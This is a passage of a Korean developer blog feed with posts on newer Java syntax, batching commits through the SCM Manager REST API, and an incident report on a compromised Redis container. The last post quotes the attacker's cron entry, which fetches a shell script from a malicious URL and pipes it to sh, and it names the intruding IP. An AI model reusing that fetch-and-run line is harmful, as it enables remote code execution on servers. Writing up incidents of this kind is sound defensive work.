&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[AS-IS]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1752630455012&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;String json = &quot;{\n&quot; +
              &quot;  \&quot;name\&quot;: \&quot;홍길동\&quot;,\n&quot; +
              &quot;  \&quot;age\&quot;: 30\n&quot; +
              &quot;}&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[TO-BE]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1752630520484&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;String json = &quot;&quot;&quot;
              {
                &quot;name&quot;: &quot;홍길동&quot;,
                &quot;age&quot;: 30
              }
              &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;642&quot; data-start=&quot;609&quot;&gt;\n, + 없이도 줄 바꿈과 들여 쓰기 표현 가능&lt;/li&gt;
&lt;li data-end=&quot;688&quot; data-start=&quot;643&quot;&gt;가독성이 매우 좋아지고, 특히 HTML/SQL/JSON 등 다중 문자열에 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 스위치 표현식 (Switch Expression)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[AS-IS]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1752630595492&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int num = ...;
String result;
switch (num) {
    case 1:
        result = &quot;ONE&quot;;
        break;
    case 2:
        result = &quot;TWO&quot;;
        break;
    default:
        result = &quot;OTHER&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[TO-BE]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1752630616948&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int num = ...;
String result = switch (num) {
    case 1 -&amp;gt; &quot;ONE&quot;;
    case 2 -&amp;gt; &quot;TWO&quot;;
    default -&amp;gt; &quot;OTHER&quot;;
};&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1432&quot; data-start=&quot;1344&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1356&quot; data-start=&quot;1344&quot;&gt;가독성 향상&lt;/li&gt;
&lt;li data-end=&quot;1373&quot; data-start=&quot;1357&quot;&gt;코드 라인 수 감소&lt;/li&gt;
&lt;li data-end=&quot;1410&quot; data-start=&quot;1374&quot;&gt;버그 가능성 감소 (특히 switch break 누락)&lt;/li&gt;
&lt;li data-end=&quot;1432&quot; data-start=&quot;1411&quot;&gt;표현력 있는 코드 작성 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Records (레코드 클래스)&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;getter, equals, hashCode, toString 자동 생성 되지만,&lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt; 모든 필드가 final (불변)&lt;/b&gt;&lt;/span&gt; 이다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1752630796789&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public record User(String name, int age) {}

User user = new User(&quot;홍길동&quot;, 30);
System.out.println(user.name());  // &quot;홍길동&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;getter, equals, hashCode, toString 자동 생성&lt;/li&gt;
&lt;li&gt;DTO, VO 같은 단순 데이터 객체에 유용&lt;/li&gt;
&lt;li&gt;JavaBean 패턴보다 훨씬 간결&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Pattern Matching for instanceof&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[AS-IS]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1752630980807&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (obj instanceof String) {
    String s = (String) obj;
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;obj가 null일 경우 NullPointerException 발생&lt;/li&gt;
&lt;li&gt;따로 형변환 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[TO-BE]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1752631005264&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (obj instanceof String s) {
    System.out.println(s.toLowerCase());
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;instanceof 연산자는 obj가 null이면 항상 false를 반환해서 &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;null 체크 역할&lt;/b&gt;&lt;/span&gt;도 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Sealed Classes (봉인 클래스)&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;상속 가능한 클래스를 &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;명시적으로 제한&lt;/b&gt;&lt;/span&gt;하는 기능&lt;/blockquote&gt;
&lt;pre id=&quot;code_1752631288071&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public sealed class Shape permits Circle, Square {}

final class Circle extends Shape {}
final class Square extends Shape {}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유지보수성과 보안성 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Local Variable Type Inference (var)&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;지역 변수의 타입을 &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;var로&lt;/b&gt;&lt;/span&gt; 생략 가능&lt;/blockquote&gt;
&lt;pre id=&quot;code_1752631359092&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;var list = new ArrayList&amp;lt;String&amp;gt;();  // 타입 자동 추론&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가독성 향상&lt;/li&gt;
&lt;li&gt;복잡하거나 불분명한 경우엔 지양&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Java</category>
      <category>java</category>
      <category>JAVA 문법</category>
      <category>Java17</category>
      <category>자바 최신 문법</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/282</guid>
      <comments>https://cocococo.tistory.com/entry/JAVA-Java-17-%EA%B8%B0%EC%A4%80-%EC%B5%9C%EC%8B%A0-%EB%AC%B8%EB%B2%95#entry282comment</comments>
      <pubDate>Wed, 16 Jul 2025 11:07:19 +0900</pubDate>
    </item>
    <item>
      <title>[SCM / 개선] SCM Rest API를 사용한 다중 커밋 성능 개선</title>
      <link>https://cocococo.tistory.com/entry/SCM-%EA%B0%9C%EC%84%A0-SCM-Rest-API%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-%EB%8B%A4%EC%A4%91-%EC%BB%A4%EB%B0%8B-%EC%84%B1%EB%8A%A5-%EA%B0%9C%EC%84%A0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;SCM Manager란?&lt;/b&gt; &lt;br /&gt;SCM Manager는 Git, Subversion(SVN), Mercurial 등 다양한 버전 관리 시스템을 통합적으로 관리할 수 있는 오픈소스 형상관리 플랫폼이다. 일반적으로 Git이나 SVN을 단독으로 사용할 경우, 별도의 서버 설정이나 사용자 관리, 권한 관리가 번거롭다. SCM Manager는 이런 불편을 해소하기 위해 웹 기반 UI와 Rest API를 제공하며, 다음과 같은 기능을 지원한다.&lt;/blockquote&gt;
&lt;h3 data-end=&quot;390&quot; data-start=&quot;363&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-end=&quot;390&quot; data-start=&quot;363&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SCM Manager 주요 특징&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;565&quot; data-start=&quot;392&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;430&quot; data-start=&quot;392&quot;&gt;Git, SVN, Mercurial 등 멀티 저장소 통합 관리&lt;/li&gt;
&lt;li data-end=&quot;447&quot; data-start=&quot;431&quot;&gt;직관적인 웹 UI 제공&lt;/li&gt;
&lt;li data-end=&quot;466&quot; data-start=&quot;448&quot;&gt;사용자 및 권한 관리 기능&lt;/li&gt;
&lt;li data-end=&quot;495&quot; data-start=&quot;467&quot;&gt;Rest API 기반의 자동화 및 연동 지원&lt;/li&gt;
&lt;li data-end=&quot;520&quot; data-start=&quot;496&quot;&gt;플러그인 확장을 통한 기능 추가 가능&lt;/li&gt;
&lt;li data-end=&quot;546&quot; data-start=&quot;521&quot;&gt;소스 코드 브라우징 및 변경 이력 조회&lt;/li&gt;
&lt;li data-end=&quot;565&quot; data-start=&quot;547&quot;&gt;사내 구축형으로 운영 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Issue - 대량 코드 등록 시 성능 지연&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;개발 / 운영 과정에서 소스 코드를 한두 개씩 등록하는 것은 문제가 없지만, 특정 상황에서는 수십 건의 소스 파일을 한 번에 등록해야 하는 경우 문제가 발생했다. 예를 들어, 엑셀 파일로 정리해 한 번에 등록하는 방식이 있다.&lt;/blockquote&gt;
&lt;p data-end=&quot;359&quot; data-start=&quot;324&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;359&quot; data-start=&quot;324&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;359&quot; data-start=&quot;324&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Problem - SCM Rest API&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SCM 시스템에서는 소스 등록을 위해 &lt;b&gt;Rest API&lt;/b&gt;를 제공하고,&amp;nbsp; Rest API를 문서 정리되어 있었지만, 안내하는 방식은 다음과 같은 한계가 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;단일 파일 커밋&lt;/b&gt;만 지원&lt;br /&gt;✅ 대량 등록 시 &lt;b&gt;파일 건수만큼 반복 요청&lt;/b&gt; 필요&lt;br /&gt;✅ 매 요청마다 네트워크 통신, 인증, 서버 처리 로직이 반복되어 누적 지연 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 테스트에서 엑셀로 준비한 41건의 소스 파일을 순차적으로 등록하자, &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;약 2분 24초(2.4분)&lt;/b&gt;&lt;/span&gt;가 소요되었다.&lt;br /&gt;단순히 소스 등록 속도의 문제를 넘어, 운영 효율성과 자동화 측면에서 상당한 제약이 있어 개선이 필요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Solution - 다중 커밋 &amp;amp; 메모리 기반 처리로 성능 개선&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-end=&quot;832&quot; data-start=&quot;802&quot; data-ke-size=&quot;size23&quot;&gt;1) 다중 파일 커밋을 지원하는 API 활용&lt;/h3&gt;
&lt;p data-end=&quot;948&quot; data-start=&quot;833&quot; data-ke-size=&quot;size16&quot;&gt;SCM Rest API 문서에는 없었지만, SVN 플러그인을 뜯어보니 내부적으로 &lt;b&gt;다중 파일을 한 번에 커밋할 수 있는 API&lt;/b&gt;가 존재해 이를 활용하면 별도의 반복 요청 없이, 여러 파일을 한 번에 묶어서 처리할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;675&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TAlxi/btsPlcbEPYE/CFlSNbdQ7CTdZ6NpHS9tm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TAlxi/btsPlcbEPYE/CFlSNbdQ7CTdZ6NpHS9tm1/img.png&quot; data-alt=&quot;플러그인 API&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TAlxi/btsPlcbEPYE/CFlSNbdQ7CTdZ6NpHS9tm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTAlxi%2FbtsPlcbEPYE%2FCFlSNbdQ7CTdZ6NpHS9tm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1163&quot; height=&quot;675&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;675&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;플러그인 API&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-end=&quot;948&quot; data-start=&quot;833&quot; data-ke-style=&quot;style3&quot;&gt;MultipartFormDataInput는 다중 파일 처리가 가능하기 때문에 해당 소스를 분석하여 양식에 맞게 값을 설정&lt;/blockquote&gt;
&lt;p data-end=&quot;948&quot; data-start=&quot;833&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1752627075462&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;protected void commitFiles(String ment) throws Throwable {
        try {
            String url;
            int i = 0;

            HttpHeaders headers = createHttpHeaders();

            headers.setContentType(MediaType.MULTIPART_FORM_DATA);

            JSONObject files = JSONObject.createNewInstance();
            JSONObject commitBody = new JSONObjectImpl();
            commitBody.put(&quot;commitMessage&quot;, StringUtil.isBlank(ment)? &quot; &quot;: ment);

            MultiValueMap&amp;lt;String, Object&amp;gt; body = new LinkedMultiValueMap&amp;lt;&amp;gt;();
            for (CommitData commitData: getFileCommitList()) {
                if (commitData!= null)
                {
                    //생성된 ByteArrayResource를 멀티파트 요청에 추가
                    body.add(&quot;file&quot; + i, commitData);  // 멀티파트로 파일 추가
                    files.put(commitData.getFilename(), toPath(commitData.getCommitPath() +&quot;/&quot;+ commitData.getFilename(), true) );
                    i++;
                }
            }

            commitBody.put(&quot;names&quot;, files);
            body.add(&quot;commit&quot;, commitBody.toString());
            /**
             * 파일 생성/수정 커밋
             */
            url = getSCMProperties().getApiUrl() + &quot;/v2/edit/&quot;
                    + getSCMProperties().getAdminId()
                    + &quot;/&quot; + getProjectId()
                    + &quot;/create&quot;;

            post(url, new HttpEntity&amp;lt;&amp;gt;(body, headers), String.class);
        }
        catch (Throwable t) {
            if (t instanceof HttpClientErrorException)
            {
                String detailMessage = ((HttpClientErrorException)t).getResponseBodyAsString();
                if (!StringUtil.isBlank(detailMessage))
                {
                    JSONObject errorJson = JSONObject.fromObject(detailMessage);
                    String errorCode = errorJson.getString(&quot;errorCode&quot;);
                    // 40RaYIeeR1 : 기존 파일과 변경사항 없을 시 오류 코드
                    if (VALUE_SCM_NOT_MODIFY.equals(errorCode)) return;
                }
            }

            LOG.debug(t);
            if (t instanceof RuntimeException) {
                throw (RuntimeException)t;
            }
            throw new JexRuntimeException(t);
        }
        finally {
            closeSource();
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;948&quot; data-start=&quot;833&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;948&quot; data-start=&quot;833&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;977&quot; data-start=&quot;950&quot; data-ke-size=&quot;size23&quot;&gt;2) 메모리 기반 처리&lt;/h3&gt;
&lt;p data-end=&quot;1162&quot; data-start=&quot;978&quot; data-ke-size=&quot;size16&quot;&gt;기존 방식은 엑셀 데이터를 기반으로, 매번 SCM에 템플릿을 요청해 파일을 생성한 뒤, 해당 파일을 서버로 전송하는 구조였다.&lt;br /&gt;즉, &lt;b&gt;SCM 템플릿 요청 &amp;rarr; 파일 생성 &amp;rarr; SCM Commit&lt;/b&gt; 순서로 동작했기 때문에, 중복된 템플릿 요청이 반복되고 불필요한 파일 생성으로 인해 디스크 I/O 비용이 발생한다.&lt;/p&gt;
&lt;p data-end=&quot;406&quot; data-start=&quot;256&quot; data-ke-size=&quot;size16&quot;&gt;이를 개선하기 위해, &lt;b&gt;템플릿 매니저를 싱글톤 패턴으로 설계하고&lt;/b&gt;, 요청된 템플릿은 &lt;b&gt;메모리에 캐싱하여 재사용&lt;/b&gt;하는 구조로 변경하였다.&lt;br /&gt;이로 인해 중복 요청을 제거하고 디스크 I/O를 줄여, 전체 성능을 크게 향상시킬 수 있었다.&lt;/p&gt;
&lt;pre id=&quot;code_1752046373506&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Component
public class StudioPRJSettingManager {
    private Map&amp;lt;Class&amp;lt;?&amp;gt;, Map&amp;lt;String, AbstractTemplet&amp;gt;&amp;gt; templetPool = new Hashtable&amp;lt;&amp;gt;();


	 ...
     &amp;lt;T extends AbstractTemplet&amp;gt; T getTempletManager(String projectId, Class&amp;lt;T&amp;gt; targetClass, Supplier&amp;lt;T&amp;gt; supplier)
     {
         Map&amp;lt;String, AbstractTemplet&amp;gt; pool = templetPool.computeIfAbsent(targetClass, key-&amp;gt; new Hashtable&amp;lt;String, AbstractTemplet&amp;gt;());
         
         return targetClass.cast(pool.computeIfAbsent(projectId, key -&amp;gt; supplier.get()));
     }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;406&quot; data-start=&quot;256&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;406&quot; data-start=&quot;256&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Test 결과 - 극적인 성능 개선 확인&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1495&quot; data-start=&quot;1352&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style13&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;구분&lt;/td&gt;
&lt;td&gt;요청-응답 시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1457&quot; data-start=&quot;1420&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1438&quot; data-start=&quot;1420&quot;&gt;&lt;b&gt;AS-IS&lt;/b&gt; 기존 구조&lt;/td&gt;
&lt;td data-end=&quot;1457&quot; data-start=&quot;1438&quot; data-col-size=&quot;sm&quot;&gt;약 &lt;b&gt;2.4분&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1495&quot; data-start=&quot;1458&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1476&quot; data-start=&quot;1458&quot;&gt;&lt;b&gt;TO-BE&lt;/b&gt; 개선 구조&lt;/td&gt;
&lt;td data-end=&quot;1495&quot; data-start=&quot;1476&quot; data-col-size=&quot;sm&quot;&gt;약 &lt;b&gt;30.77ms&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>이슈 해결</category>
      <category>SCM</category>
      <category>다중 커밋</category>
      <category>성능 개선</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/281</guid>
      <comments>https://cocococo.tistory.com/entry/SCM-%EA%B0%9C%EC%84%A0-SCM-Rest-API%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-%EB%8B%A4%EC%A4%91-%EC%BB%A4%EB%B0%8B-%EC%84%B1%EB%8A%A5-%EA%B0%9C%EC%84%A0#entry281comment</comments>
      <pubDate>Mon, 30 Jun 2025 17:31:25 +0900</pubDate>
    </item>
    <item>
      <title>[서버 / 해킹] Redis 악성 코드 삽입(backup1~4) 및 해킹 대응</title>
      <link>https://cocococo.tistory.com/entry/%EC%84%9C%EB%B2%84-Redis-%EC%95%85%EC%84%B1-%EC%BD%94%EB%93%9C-%EC%82%BD%EC%9E%85backup14-%EB%B0%8F-%ED%95%B4%ED%82%B9-%EB%8C%80%EC%9D%91</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[서버 운영 환경]&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;운온프레미스 (On-premise) 자가 구축 환경&lt;/li&gt;
&lt;li&gt;Ubuntu Linux (24.04.2 LTS)&lt;/li&gt;
&lt;li&gt;Docker Compose 이용하여 컨테이너 구성 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Issue&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Redis 도커 컨테이너에서 수상한 키(backup1~4) 발견.&lt;br /&gt;내용 중 [http://natalstatus.org/ep9TS2/ndt.sh] 쉘 스크립트를 실행하는 크론잡 명령어가 저장되어 있었고, 이는 외부 악성 스크립트를 주기적으로 실행하는 형태로 의심됨, 또한 서버 sshd 접속 기록을 조회한 결과, root 계정으로 외부 IP &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;(183.223.32.168)에서 직접 접속된 흔적이 발견&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Redis]&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;// Redis에서 전체 key 조회&lt;br /&gt;$ keys *&amp;nbsp;&lt;br /&gt;backup1&lt;br /&gt;backup2&lt;br /&gt;backup3&lt;br /&gt;backup4&lt;br /&gt;&lt;br /&gt;// key 내용 조회&lt;br /&gt;$ GET backup1 &lt;br /&gt;&quot;\n\n\n*/2 * * * * root cd1 -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh\n\n&quot;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[접속자 확인]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci3R2u/btsOK7cjeJ5/i7yjMknFFwkCTTMBL1sBjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci3R2u/btsOK7cjeJ5/i7yjMknFFwkCTTMBL1sBjK/img.png&quot; data-alt=&quot;악성코드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci3R2u/btsOK7cjeJ5/i7yjMknFFwkCTTMBL1sBjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci3R2u%2FbtsOK7cjeJ5%2Fi7yjMknFFwkCTTMBL1sBjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1256&quot; height=&quot;126&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;악성코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;누구냐넌...&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 악성 코드에 대한 자세한 내용은 아래 링크에서 확인 가능&lt;/p&gt;
